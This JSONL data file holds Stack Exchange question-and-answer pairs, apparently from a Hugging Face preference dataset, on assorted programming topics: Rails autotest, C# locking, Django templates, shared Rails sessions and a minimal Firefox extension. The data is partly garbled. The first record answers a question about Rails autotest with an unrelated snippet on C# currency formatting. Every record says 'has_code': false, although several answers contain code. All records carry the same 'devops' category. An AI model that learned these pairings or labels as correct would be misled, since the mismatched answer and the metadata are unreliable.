{"id": "hf_1dfd88336af3", "question": "<p>Just as an example, if I have a <code>Book</code> model and a <code>BooksController</code>, autotest, part of the ZenTest suite will pick up the association between the two and load <code>test/unit/book_test.rb</code> and <code>test/functional/books_controller_test.rb</code> into the test suite. On the other hand, if I have a <code>Story</code> model and a <code>StoriesController</code>, autotest refuse to \"notice\" the <code>test/functional/stories_controller_test.rb</code></p>\n", "question_body": "", "answer": "I think you want to use the decimal data type, and use the appropriate overload for\nToString()\n.\n```\n```\nCultureInfo current  = CultureInfo.CurrentCulture;\ndecimal myMoney = 99.99m;\n\n//formats as money in current culture, like $99.99\nstring formattedMoney = myMoney.ToString(\"C\", current);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.123738"}
{"id": "hf_8777c02b0580", "question": "<p>Is which IPs are assigned to which ISPs public information?  How do geo IP services obtain this information and maintain this information?</p>\n\n<p>How can I personally figure out where a certain IP belongs without using one of these services?</p>\n", "question_body": "", "answer": "Beware, the data is often slow to be updated, and even slower to replicate.  My work place changed ISPs a number of years ago, and we were assigned a block of formerly Canadian IP addresses (we're based in the US), for months Google continued to give us google.ca as our default search engine.  About 1/2 the time my home IP address comes up as being from my town, the other 1/2 from a town in another state.\nJason is right that the process is the same, but the updates are even slower and the data less accurate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.147800"}
{"id": "hf_9fd53236a9df", "question": "<p>Is there any benefit on Windows to use the WSA winsock functions compared to the BSD-style ones?</p>\n", "question_body": "", "answer": "Only if you plan to deploy to a legacy platform like Windows 95 or there is something in the winsock API that you absolutely cannot live without and you don't want to roll yourself (<-- doubtful tho).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.175410"}
{"id": "hf_0958b08a497f", "question": "<p>I know that I need to tell my UITextField to resign first responder when I want to dismis the keyboard, but I'm not sure how to know when the user has pressed the \"Done\" key on the keyboard. Is there a notification I can watch for?</p>\n", "question_body": "", "answer": "If you connect the DidEndOnExit event of the text field to an action (IBAction) in InterfaceBuilder, it will be messaged when the user dismisses the keyboard (with the return key) and the sender will be a reference to the UITextField that fired the event.\nFor example:\n```\n```\n-(IBAction)userDoneEnteringText:(id)sender\n{\n    UITextField theField = (UITextField*)sender;\n    // do whatever you want with this text field\n}\n```\n```\nThen, in InterfaceBuilder, link the DidEndOnExit event of the text field to this action on your controller (or whatever you're using to link events from the UI). Whenever the user enters text and dismisses the text field, the controller will be sent this message.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.222641"}
{"id": "hf_1a45e43bbbc0", "question": "<p>How would one create fancy UIs in .NET, with glossy buttons and smooth animations?  You can point me to 3rd party frameworks, but I would like to understand the technical details also.</p>\n", "question_body": "", "answer": "Maybe take a look at\nWPF\n.\nIn terms of 3rd party libraries:\nDevExpress\nTelerik\nInfragistics", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.247117"}
{"id": "hf_9166f92cd2e9", "question": "<p>When you lock an object is that object locked throughout the whole application?</p>\n\n<p>For Example, this snippet from C# 3.0 in a Nutshell Section 19.6.1 \"Thread Safety and .NET Framework Types\":</p>\n\n<pre><code>static void AddItems(  )\n  {\n    for (int i = 0; i &lt; 100; i++)\n      lock (list)\n        list.Add (\"Item \" + list.Count);\n\n    string[] items;\n    lock (list) items = list.ToArray(  );\n    foreach (string s in items) Console.WriteLine (s);\n  }\n</code></pre>\n\n<p>Does the first lock:</p>\n\n<pre><code>lock (list)\n        list.Add (\"Item \" + list.Count);\n</code></pre>\n\n<p>prevent another thread from accessing:</p>\n\n<pre><code>lock (list) items = list.ToArray(  );\n</code></pre>\n\n<p>or can both be executed at the same time?</p>\n\n<p>And does the CLR automatically make your static methods thread safe? Or is that up to the developer?</p>\n\n<p>Thanks,\nJohn</p>\n", "question_body": "", "answer": "The CLR doesn't automatically make static methods thread-safe; you must do it yourself.\nlock(list) uses that object as a lock, so if a different thread reaches another point with lock(list) (with the same 'list' object), the other thread will block until the first thread releases the lock.\nTo be clear, lock(foo) doesn't \"lock the foo object\", rather it acquires the lock associated with the foo object so that the critical section (the statement in the construct \"lock(o) stmt\") runs only when the current thread has acquired the lock.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.271925"}
{"id": "hf_e464e8f185aa", "question": "<p>Given a class instance, is it possible to determine if it implements a particular interface? As far as I know, there isn't a built-in function to do this directly. What options do I have (if any)?</p>\n", "question_body": "", "answer": "```\n```\ninterface IInterface\n{\n}\n\nclass TheClass implements IInterface\n{\n}\n\n$cls = new TheClass();\nif ($cls instanceof IInterface) {\n    echo \"yes\";\n}\n```\n```\nYou can use the \"instanceof\" operator. To use it, the left operand is a class instance and the right operand is an interface. It returns true if the object implements a particular interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.320839"}
{"id": "hf_0d5f42ce9084", "question": "<p>ok so my issue is i have the string '\\222\\222\\223\\225' which is stored as latin-1 in the db.  What I get from django (by printing it) is the following string, 'ââââ¢' which I assume is the UTF conversion of it.  Now I need to pass the string into a function that \ndoes this operation: </p>\n\n<pre><code>strdecryptedPassword + chr(ord(c) - 3 - intCounter - 30)\n</code></pre>\n\n<p>I get this error:  </p>\n\n<blockquote>\n  <p>chr() arg not in range(256)</p>\n</blockquote>\n\n<p>If I try to encode the string as latin-1 first I get this error:</p>\n\n<blockquote>\n  <p>'latin-1' codec can't encode characters in position 0-3: ordinal not\n  in range(256)</p>\n</blockquote>\n\n<p>I have read a bunch on how character encoding works, and there is something I am missing because I just don't get it!</p>\n", "question_body": "", "answer": "Your first error 'chr() arg not in range(256)' probably means you have underflowed the value, because chr cannot take negative numbers. I don't know what the encryption algorithm is supposed to do when the inputcounter + 33 is more than the actual character representation, you'll have to check what to do in that case.\nAbout the second error. you must decode() and not encode() a regular string object to get a proper representation of your data. encode() takes a unicode object (those starting with u') and generates a regular string to be output or written to a file. decode() takes a string object and generate a unicode object with the corresponding code points. This is done with the unicode() call when generated from a string object, you could also call a.decode('latin-1') instead.\n```\n```\n>>> a = '\\222\\222\\223\\225'\n>>> u = unicode(a,'latin-1')\n>>> u\nu'\\x92\\x92\\x93\\x95'\n>>> print u.encode('utf-8')\nÂÂÂÂ\n>>> print u.encode('utf-16')\nÿþ\n>>> print u.encode('latin-1')\n\n>>> for c in u:\n...   print chr(ord(c) - 3 - 0 -30)\n...\nq\nq\nr\nt\n>>> for c in u:\n...   print chr(ord(c) - 3 -200 -30)\n...\nTraceback (most recent call last):\n  File \"<stdin>\", line 2, in <module>\nValueError: chr() arg not in range(256)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.344864"}
{"id": "hf_71b896f0c13d", "question": "<p>Is anyone aware of any gems, tutorials, or solutions enabling a user to sign in to a website at one domain and automatically given access to other partner domains in the same session? </p>\n\n<p>I have two rails apps running, let's call them App-A and App-B. App-A has a database associated with it, powering the registration and login at App-A.com. I'd now like to give all of those users with App-A.com accounts access to App-B.com, without making them reregister or manually login to App-B.com separately.</p>\n\n<p>Thanks in advance for any help!\n--Mark</p>\n", "question_body": "", "answer": "You can set the same session_key in both apps. In appA environment.rb change the session_key, like this\n```\n```\nRails::Initializer.run do |config|\n   ...  \n config.action_controller.session = {\n   :session_key => '_portal_session',\n   :secret      => '72bf006c18d459acf51836d2aea01e0afd0388f860fe4b07a9a57dedd25c631749ba9b65083a85af38bd539cc810e81f559e76d6426c5e77b6064f42e14f7415'\n  }\n  ...\nend\n```\n```\nDo the same in AppB. (remember to use the very same secret)\nNow you have shared sessions. Let's say you use restfull_authentication, wich sets a session variable called\nuser_id\n. When you authenticate in appA it sets the user_id in the session. Now, in appB you just have to verify if user_id exists in the session.\nThis is the overall schema, you can elaborate more using this idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.381958"}
{"id": "hf_dacf4fcb0abf", "question": "<p>How can I know in a C#-Application, in which direction the screen of the mobile device is orientated? (i.e. horizontal or vertical).</p>\n", "question_body": "", "answer": "Just guessing but my first attempt would be:\n```\n```\nvar rect = System.Windows.Forms.Screen.PrimaryScreen.Bounds;\n// or var rect = System.Windows.Forms.Screen.PrimaryScreen.WorkingArea;\n\nvar ratio = rect.Width / rect.Height;\n\nif (ratio == 1.0) // square screen.\nif (ratio > 1.0) // landscape.\nif (ratio < 1.0) // portrait.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.406690"}
{"id": "hf_6b09cb9963c6", "question": "<p>I'm using QT's QGLFramebufferObject for off-screen rendering.<br>\nAfter rendering to the buffer I read the result using glReadPixels()<br>\nThe problem is that sometimes the background color I read is just 0 (transparent black) and sometimes it is 0xFF000000 (opaque black)<br>\nThis seem to be related to the time the buffer is initialized. If the buffer is a member of the class inherited from QGLWidget then it is 0. If it is initialized anywhere else it's 0xFF000000.  </p>\n\n<p>Does anybody have any idea what's going on here? What is the good expected result of this read?</p>\n", "question_body": "", "answer": "Do you set up the correct clear color (glClearColor) and actually do a clear (glClear)? Are you making sure that your color write (glColorMask) mask is fully enabled (it also affects clears). Next you can check if QT sets up some weird pixel copy transfer (other than the default, see glPixelStore, glPixelTransfer and glPixelMap). Are you sure you are getting (and reading into) an RGBA buffer in both cases, not just RGB? Lastly, it is very well possible that the framebuffer object extension is buggy on your particular graphics card/driver combination, more so if there is no primary visible window. At least check cards from both vendors. And of course always check glGetError after all potentially failing operations. \nAfter re-reading your question, do you get any other valid rendering in the non QGLWidget case at all? Does clear to say green, return green? Because it might very well be that you just did not initialize any valid OpenGL context to begin with in that case. Framebuffer objects, unlike pbuffers need an external context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.443262"}
{"id": "hf_9a0399619951", "question": "<p>How to, in C# round any value to 10 interval? For example, if I have 11, I want it to return 10, if I have 136, then I want it to return 140. </p>\n\n<p>I can easily do it by hand</p>\n\n<pre><code>return ((int)(number / 10)) * 10;\n</code></pre>\n\n<p>But I am looking for an builtin algorithm to do this job, something like Math.Round(). The reason why I won't want to do by hand is that I don't want to write same or similar piece of code all over my projects, even for something as simple as the above. </p>\n", "question_body": "", "answer": "Rounding a float to an integer is similar to (int)(x+0.5), as opposed to simply casting x - if you want a multiple of 10, you can easily adapt that.\nIf you just want to do integer math and are rounding it to ten, try (x+10/2)/10*10.\nEdit:\nI noticed that this response doesn't meet the original's author's request, and is also a biased form of rounding that I prefer not to do.  However, another accepted response already stated Math.round(), a much better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.492259"}
{"id": "hf_b46caa0873c0", "question": "<p>I have some question:</p>\n\n<p>How to make a role based web application? Such as in forum sites, there is many user types, admin, moderator etc... is the roles of these user types stored in database or web.config? And when a user login to our site, how to control this users roles? In short I want to learn about authorization and authentication. </p>\n\n<p>Thanks..</p>\n", "question_body": "", "answer": "Check this articles and videos:\nIntroduction to Membership\nManaging Authorization Using Roles\nCreating the Application Services Database for SQL Server\nExamining ASP.NET 2.0's Membership, Roles, and Profile\nMembership and Role Providers in ASP.NET 2.0\n(Tutorial)\nASP .NET Security Videos", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.556549"}
{"id": "hf_9b4225af2ca0", "question": "<p>I would like to create a DLNA server in VB.NET.\nSince a lot of multimedia devices start supporting DLNA, i would like to see what is possible. Not only streaming video/audio and pictures but see what else can be done.</p>\n\n<h2>Anybody any starting points? protocol info, some basic code to get started?</h2>\n\n<p>DLNA is based on UPnP so i geuss that is the direction i have to start looking. </p>\n", "question_body": "", "answer": "You have to be a member of the DLNA community or pay $500 to be able to get a full specification of the protocol according to their\nhomepage\n.\nIntel has a\ntool\nfor generating source code which is DLNA compliant at their hompepage. That could be a good start for just playing around and trying your ideas without having to buy the specification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.592869"}
{"id": "hf_4ddded47095f", "question": "<p>I'm trying to figure out how all these work together. I know that a DTO is basically just a container of data for the Domain Objects to pass back and forth to forms and such. Does the Domain object contain a DTO or do the DTO and the Domain Object happen to just have all of the same properties that will be mapped manually?</p>\n\n<p>If I am exposing my DTO type in a service, how do I use the getters and setters without creating a round trip for each get/set operation on the client? I know that you can have one long constructor, but that can get ugly if you have more than 7 properties.</p>\n\n<p>When implementing the Repository pattern, do I pass in the DTO or the Domain Object?</p>\n", "question_body": "", "answer": "I think it's better to have the DTO contain a reference to the Domain object so that the DTO's consumers can begin using the Domain object. That said, if the DTO's consumers must not mutate the Domain object, you may need to have the DTO contain the values encapsulated in the Domain object. This can be difficult since you may need to do a deep copy of the Domain object.\nI'm not sure why it's a problem that exposing a DTO type as a service would cause use of its getters/setters to do a round trip. If the service is a remote service, the returned DTO is serialized anyway and your getters/setters will get the copy of the values. If the service is not remote, it doesn't seem to be much of penalty to do a \"round trip\" since the client and the service are in the same process space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.640653"}
{"id": "hf_10e1b877b439", "question": "<p>When copying large files using <code>shutil.copy()</code>, you get no indication of how the operation is progressing..</p>\n\n<p>I have put together something that works - it uses a simple ProgressBar class (which simple returns a simple ASCII progress bar, as a string), and a loop of <code>open().read()</code> and <code>.write()</code> to do the actual copying. It displays the progress bar using <code>sys.stdout.write(\"\\r%s\\r\" % (the_progress_bar))</code> which is a little hackish, but it works.</p>\n\n<p>You can see the code (in context) <a href=\"http://github.com/dbr/checktveps/tree/1be8f4445fbf766eba25f98f78ec52e955571608/autoPathTv.py#L64-153\" rel=\"noreferrer\">on github here</a></p>\n\n<p>Is there any built-in module that will do this better? Is there any improvements that can be made to this code?</p>\n", "question_body": "", "answer": "Two things:\nI would make the default block size a\nlot\nlarger than 512. I would start with 16384 and perhaps more.\nFor modularity, it might be better to have the\n```\ncopy_with_prog\n```\nfunction not output the progress bar itself, but call a callback function so the caller can decide how to display the progress.\nPerhaps something like this:\n```\n```\ndef copy_with_prog(src, dest, callback = None):\n    while True:\n        # copy loop stuff\n        if callback:\n            callback(pos, total)\n\nprog = ProgressBar(...)\ncopy_with_prog(src, dest, lambda pos, total: prog.update(pos, total))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.664350"}
{"id": "hf_56e04a2a2b45", "question": "<p>if Form.Release is called after using the form, it will free all related memory but not set the form variable to nil.</p>\n\n<pre><code>if not assigned (Form1) then\n  begin\n    Application.CreateForm(Tform1, Form1);\n    try\n      // Do something\n    finally\n      Form1.Release\n    end;\n  end;\n</code></pre>\n\n<p>To be able to call the same code again, Form1 would have to be set to nil at some point. From the description of Release I cannot do</p>\n\n<pre><code>Form1 := nil;\n</code></pre>\n\n<p>right after Release, because the Release procedure will return directly after being called and before the form is actually freed. I cannot detect when Form.Release is finished to set the form var to nil.</p>\n\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "In Delphi Win32, the appropriate way to free objects is to call\n```\n```\nFreeAndNil(Form1)\n```\n```\nThis does both jobs in a single call.\nHowever, I have a sneaking feeling there's more to your question than meets the eye. Are you using Delphi for .NET - and if so, which version?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.713757"}
{"id": "hf_7de79442e035", "question": "<p>Am working with django Publisher example, I want to list all the publishers in the db via my list_publisher.html template, my template looks like;</p>\n\n<pre><code>{% extends \"admin/base_site.html\" %}\n{% block title %}List of books by publisher{% endblock %}\n{% block content %}\n\n&lt;div id=\"content-main\"&gt;\n&lt;h1&gt;List of publisher:&lt;/h1&gt;\n\n{%regroup publisher by name as pub_list %}\n\n\n{% for pub in pub_list %}\n\n\n&lt;li&gt;{{ pub.name }}&lt;/li&gt;\n\n{% endfor %}\n&lt;/div&gt;\n{% endblock %}\n</code></pre>\n\n<p>but when I run \"<a href=\"http://127.0.0.1:8000/list_publisher/\" rel=\"nofollow noreferrer\">http://127.0.0.1:8000/list_publisher/</a>\" the template just prints the page title with no error! What am I doing wrong?</p>\n", "question_body": "", "answer": "A few suggestions:\ncheck that  your base_site.html does define a\n```\n{% block content %}{% endblock %}\n```\nsection to be refine by your my list_publisher.html\ncheck the cardinality of your list:\n```\n{%regroup publisher by name as pub_list %}{{ pub_list|length }}\n```\n. That should at least display the length of your list. If is is '0'... you know why it does not display anything\ncheck that your list is indeed sorted by name before using regroup, or use a\n```\n{% regroup publisher|dictsort:\"name\" by name as pub_list %}\n```\nto be sure\nIf the length is '0', you have to make sure publisher is defined (has been initialized from the database), and sorted appropriately.\nIn other word, do you see anywhere (in your template or in the defined templates):\n```\n```\npublisher = Publisher.objects.all().order_by(\"name\")\n```\n```\n?\n(again, the order by name is important, to ensure your regroup tag works properly)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.737641"}
{"id": "hf_1c87966c5080", "question": "<p>The ASP.NET team released the script combining feature in 3.5 SP1 as detailed here <a href=\"http://www.asp.net/Learn/3.5-SP1/video-296.aspx\" rel=\"noreferrer\">http://www.asp.net/Learn/3.5-SP1/video-296.aspx</a>. Is there a similar feature already for the MVC framework? If not, is this in scope or is it possible to somehow leverage the webforms capability in MVC? I see this site uses a custom jquery.package.master which, I assume, they have rolled themselves (maybe into the build cycle, however it is not all minified therefore I think they have manually appended the scripts together rather than some automated minify &amp; combine task). Would be interested in any ideas how to accomplish this in MVC but I dont want to begin rolling any of my own functionality in case I will be duplicating work in progress.</p>\n", "question_body": "", "answer": "Here's what I do, in case it's helpful.\nIn my postbuild I call a\ncommand line version\nof\nDean Edwards's Packer\n.  It combines the scripts and packs them for me.\nFor now though, I keep all of my stuff seperate and use a Helper method to include my scripts, and if the debug flag is not present it will include the packed versions, otherwise it includes the unpacked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.777875"}
{"id": "hf_eb4b06861613", "question": "<p>Is there an easy way to verify that a given private key matches a given public key?  I have a few <code>*.pub</code>and a few <code>*.key</code> files, and I need to check which go with which.</p>\n<p>Again, these are pub/key files, DSA.</p>\n<p>I would really prefer a one-liner of some sort...</p>\n", "question_body": "", "answer": "Encrypt something with the public key, and see which private key decrypts it.\nThis\nCode Project article\nby none other than\nJeff Atwood\nimplements a simplified wrapper around the .NET cryptography classes. Assuming these keys were created for use with RSA, use the asymmetric class with your public key to encrypt, and the same with your private key to decrypt.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.847152"}
{"id": "hf_17ca47c18a13", "question": "<p>How can I debug a MinGW EXE with the Microsoft Visual C++ debugger?</p>\n", "question_body": "", "answer": "You can attach the Visual C++ debugger to any process running on the system (from the Visual C++ menu). But for being able to step through your source code Visual C++ would have to load the symbol file (.pdb if I remember correctly) and I don't think GCC generates those files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.871089"}
{"id": "hf_73e2f9bddec2", "question": "<p>Can someone please derive a concrete example from the following:</p>\n\n<p><a href=\"http://www.urdalen.com/blog/?p=210\" rel=\"nofollow noreferrer\">http://www.urdalen.com/blog/?p=210</a></p>\n\n<p>..that shows how to deal with <code>one-to-many</code> and <code>many-to-many</code> relationships?</p>\n\n<p>I've emailed the author some time ago but received no reply.  I like his idea, but can't figure out how to implement it beyond simple single table relations.</p>\n\n<p>Note: I don't want to use a full-blown ORM.  I like doing my SQL by hand.  I would like to improve the design of my app code though.  Right now each domain object has its own class full of queries wrapped in static methods.  They just return scalar, 1d-array (record) or 2d-array (recordset) depending on the query.</p>\n", "question_body": "", "answer": "The problem of ORM's (The impedance mismatch, as it's called) is precisely with relations. In an object graph (In-memory objects), relationships are pointers to other objects. In a relational database, relationships are reversed; This makes it impossible to do a simple mapping between the two models, and that is why ORM's are so complex.\nIf you want to stay close to the database (avoiding an ORM), then you shouldn't try to abstract relationships away. The way I write datamappers is something like the following:\n```\n```\n$car42 = $car_gateway->fetch(42);\n$wheels = $wheel_gateway->selectByCar($car42);\n```\n```\nIn contrast to the ORM way:\n```\n```\n$car42 = $car_gateway->fetch(42);\n$wheels = $car42->selectWheels();\n```\n```\nThis does mean that the gateways end up in your client-code, but it also keeps things very transparent and close to the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.905135"}
{"id": "hf_efedd5b969c6", "question": "<p>Is there an intuitive way, or a good mnemonic, for understanding the correspondence between colors and their hexadecimal values?</p>\n", "question_body": "", "answer": "Hexadecimal colours are of the form #RRGGBB where RR is red, GG is green and BB is blue. Since they're hexadecimal they range from 00-FF. It should be fairly easy from that to gauge roughly what kind of colour you're dealing with for example #FF12A3 is going to be fairly red.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:41.953656"}
{"id": "hf_c7d49e37727d", "question": "<p>I'm trying to setup a bidirectional localConnection (LC) between two flash objects on the same web page. One object is AS2 and the other AS3.</p>\n\n<ol>\n<li>I'm using one LC object to send and receive data on each swf. (This shouldn't matter, right? I tried using two objects, one for sending and one for receiving, but got the same problem).</li>\n</ol>\n\n<p>They .connect() properly so that they both listen.\nBut I'm getting errors when I'm trying to send data from the AS2 SWF to the AS3 LC.\nThis happens 95% of the time, but sometimes it DOES work, so I know it's not a problem with the LC names (I checked, obviously)</p>\n\n<p>Sometimes one or two messages go through and consequtive messages fail.</p>\n\n<p>Any idea on what might cause it?</p>\n\n<p>I'm aiming to create a many-to-one connection map so that many AS2 swfs could connect to the one AS3 swf. Will that be a problem?</p>\n", "question_body": "", "answer": "One possible cause is that I've noticed that multiple listeners to the same LC name seem not to work. To see what I mean, open\nthis page\non two different tabs, and you should see that both of the \"sending\" SWFs work, but the message is only received on the first tab you opened. I guess you're only using two SWFs, but if they're both trying to listen to the same LC name, perhaps you're seeing something similar?\nAlso, I believe LC is, in some way, disabled for SWFs that are inside invisible page elements, or possibly even just offscreen. Are you doing anything like that?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.028816"}
{"id": "hf_06371cccc37d", "question": "<p>In c++ what is object slicing and when does it occur?</p>\n", "question_body": "", "answer": "Third match in google for \"C++ slicing\" gives me this Wikipedia article\nhttp://en.wikipedia.org/wiki/Object_slicing\nand this (heated, but the first few posts define the problem) :\nhttp://bytes.com/forum/thread163565.html\nSo it's when you assign an object of a subclass to the super class. The superclass knows nothing of the additional information in the subclass, and hasn't got room to store it, so the additional information gets \"sliced off\".\nIf those links don't give enough info for a \"good answer\" please edit your question to let us know what more you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.080165"}
{"id": "hf_17160748a5ee", "question": "<p>What the minimum basic setup required to begin developing a Firefox extension?</p>\n", "question_body": "", "answer": "Precaution: In order to prevent messing with your default Firefox experience, try the tip below on a newly created disposable test account.\nStep 1: Create a new Firefox profile. For this you need to invoke the Profile Manager via command line option:\n```\n```\nfirefox.exe -profilemanager\n```\n```\nClick on the 'Create Profile' button of the Profile Manager, which will invoke a wizard. Give the profile a name. Use the 'Choose Folder' button and save the profile in a appropriately named folder. This folder is where we are going to create our quick and dirty Firefox extension.\nStep 2: Change directory to 'extensions' folder within the profile folder created in Step 1. Now we need to give the Firefox extension a globally unique name. Email-like names are good enough for that. For example, OneMinuteFirefoxExtension@ec29.com will be good enough name for the extension. Under the 'extensions' folder, create a folder with its name as the just chosen unique name.\nStep 3: Create files chrome.manifest and install.rdf. You can copy paste the sample here with the names, description altered appropriately.\nchrome.manifest:\n```\n```\ncontent 1mffext chrome/\n```\n```\nand install.rdf:\n```\n```\n<?xml version=\"1.0\"?>\n<RDF:RDF xmlns:em=\"http://www.mozilla.org/2004/em-rdf#\"\n         xmlns:NC=\"http://home.netscape.com/NC-rdf#\"\n         xmlns:RDF=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n  <RDF:Description RDF:about=\"rdf:#$Fsv+Z3\"\n                   em:id=\"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}\"\n                   em:minVersion=\"2.0\"\n                   em:maxVersion=\"3.0.*\" />\n  <RDF:Description RDF:about=\"urn:mozilla:install-manifest\"\n                   em:id=\"1m-ff-ext@ec29.com\"\n                   em:type=\"2\"\n                   em:name=\"OneMinuteFirefoxExtension@ec29.com\"\n                   em:version=\"0.0.1\"\n                   em:description=\"One Minute FireFox extension\"\n                   em:creator=\"labsji \"\n                   em:homepageURL=\"http://labsji.wordpress.com\">\n    <em:contributor>Venkat83</em:contributor>\n    <em:targetApplication RDF:resource=\"rdf:#$Fsv+Z3\"/>\n  </RDF:Description>\n```\n```\nStep 4 Create folder called chrome and create a text file called test.txt within the folder. files in the folder will be accessible via chrome url like chrome://1mffext/content/test.txt\nNow the bare minimum extension is ready. Regular html/javascript files can be used to create the functionality desired.\nTesting the Extension:\nInvoke firefox to use the profile created above.\n```\n```\nfirefox.exe -profile <path of the newly created profile> -no-remote\n```\n```\nI have created a googlecode project to share the resultant code created following the steps above. The code along with run scripts are available at\nJust a Minute Firefox Extension\nSim-OnDemand- personal virtual world as a Service's\nlauncher application\nis an example of an application packaged and distributed using this method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.104498"}
